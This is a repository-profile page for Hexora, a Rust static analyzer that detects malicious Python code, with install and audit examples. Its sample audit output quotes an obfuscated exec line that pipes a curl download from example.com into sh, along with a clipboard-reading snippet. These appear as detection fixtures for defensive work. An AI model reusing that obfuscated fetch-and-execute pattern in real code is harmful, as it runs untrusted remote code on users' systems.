Hexora: Static Analysis Tool for Malicious Python Code

This repository profile is provided by osrepos.com, an open source repository discovery platform.

Hexora: Static Analysis Tool for Malicious Python Code

Summary

Hexora is a powerful static analysis tool, developed in Rust, designed to identify malicious and harmful patterns within Python code. It helps audit project dependencies, detect suspicious scripts, and analyze Indicators of Compromise (IoC) files. This tool is essential for enhancing software supply chain security and proactively identifying threats.

Repository Information

Analyzed by OSRepos on October 27, 2025

Use at your own risk

OSRepos shares public repositories for knowledge and discovery only. Any installation, execution, configuration, or use of code from these repositories is the user's own responsibility. Always review the repository, source code, dependencies, licenses, and security implications before running or installing anything. OSRepos is not responsible for issues, damages, or losses resulting from third-party repositories.

Introduction

Hexora is an advanced static analysis tool, developed in Rust, specifically designed to detect malicious and harmful patterns within Python code. It provides a robust solution for identifying potential security threats by analyzing code without execution. This makes Hexora an invaluable asset for developers, security researchers, and organizations looking to enhance their software supply chain security.

Installation

Hexora requires Python 3.9+ to run. You can install it easily using pip or uv:

pip install hexora

Alternatively, using uv:

uv tool install hexora

Examples

Hexora offers flexible usage options, from auditing single files to entire virtual environments, and can also be integrated directly into Python projects.

To see all available commands:

hexora --help

Audit a Single File

You can audit a specific Python file to identify potential threats:

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ?? resources/test/test.py:3:8
  ?
1 ? import pyperclip
2 ?
3 ? data = pyperclip.paste()
  ?        ^^^^^^^^^^^^^^^^^ HX2000
  ?
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    
warning[HX3000]: Possible execution of unwanted code
   ?? resources/test/test.py:20:1
   ?
19 ? (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 ? _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   ? ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   ?

Audit a Directory

To audit an entire directory, including all Python files within it:

hexora audit --output-format terminal resources/test/

Audit Packages from a Virtual Environment

Hexora can also audit installed packages within a Python virtual environment, allowing you to exclude specific rule codes or filter by confidence level:

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Here, python3.11 should be replaced with your virtual environment's Python version.

  • Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run.
  • Use --min-confidence to focus on high-confidence findings only.

Usage in Python

For programmatic integration, Hexora provides a Python API:

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Why Use Hexora?

Hexora addresses critical security needs across various scenarios:

  • Supply-Chain Attack Prevention: Audit project dependencies to catch potential supply-chain attacks before they impact your systems.
  • Malicious Script Detection: Identify malicious scripts found on platforms like Pastebin, GitHub, or open directories, preventing their execution.
  • Incident Response: Analyze Indicators of Compromise (IoC) files from past security incidents to understand attack vectors and prevent future breaches.
  • PyPI Package Auditing: Proactively audit new packages uploaded to PyPI, ensuring the integrity of your Python ecosystem.

With a continuously expanding set of rules covering suspicious imports, code execution, obfuscation, and data exfiltration, Hexora empowers you to maintain a secure Python development environment.

Links

Related repositories

Similar repositories that may be relevant next.

OpenSandbox: A Secure and Extensible Sandbox Runtime for AI Agents

OpenSandbox: A Secure and Extensible Sandbox Runtime for AI Agents

August 12, 2026

OpenSandbox is a powerful, general-purpose sandbox platform designed for AI applications. It provides secure, fast, and extensible runtime environments, supporting multi-language SDKs and Docker/Kubernetes deployments. This project is ideal for developing and evaluating AI agents in isolated, controlled settings.

aiai-agentai-infra
FastMCP: The Pythonic Framework for Model Context Protocol Applications

FastMCP: The Pythonic Framework for Model Context Protocol Applications

August 11, 2026

FastMCP is a robust, Pythonic framework developed by PrefectHQ, designed to simplify the creation of Model Context Protocol (MCP) servers and clients. It provides a comprehensive application framework for connecting Large Language Models (LLMs) to tools and data, handling complexities like schema generation, validation, and protocol lifecycle. As the standard framework for MCP, FastMCP empowers developers to build powerful LLM-integrated applications efficiently.

fastmcpmcpmodel-context-protocol
nanobot: An Ultra-Lightweight, Self-Hosted Personal AI Agent Framework

nanobot: An Ultra-Lightweight, Self-Hosted Personal AI Agent Framework

August 9, 2026

nanobot is an ultra-lightweight, open-source, self-hosted personal AI agent framework built in Python. It offers a WebUI, tools, memory, multi-agent workflows, and automation capabilities, making it a versatile solution for personal AI tasks. Users can deploy it across various platforms, including chat apps, for seamless integration.

ai-agentagent-frameworkpython
ReMe: An Advanced Memory Management Kit for AI Agents

ReMe: An Advanced Memory Management Kit for AI Agents

August 7, 2026

ReMe is an innovative, local-first memory layer designed for AI agents, transforming conversations and resources into file-based long-term memory. It continuously indexes, links, and consolidates this information, enabling advanced recall and supporting the development of self-evolving agents. This kit helps agents remember and refine their experiences effectively.

agentai-agentsmemory

Source repository

Open the original repository on GitHub.

14 counted GitHub visits

View on GitHub
OS
OSRepos

Analysis and discovery of open source repositories. Find interesting projects and follow their updates.

Monitor your website with YourWebsiteScore

OSRepos shares public repositories for knowledge and discovery only. Any installation, execution, configuration, or use of third-party repository code is at your own risk. Always review source code, dependencies, licenses, and security implications before running anything.

© 2025 OSRepos. Built with Nuxt 3 and lots of ❤️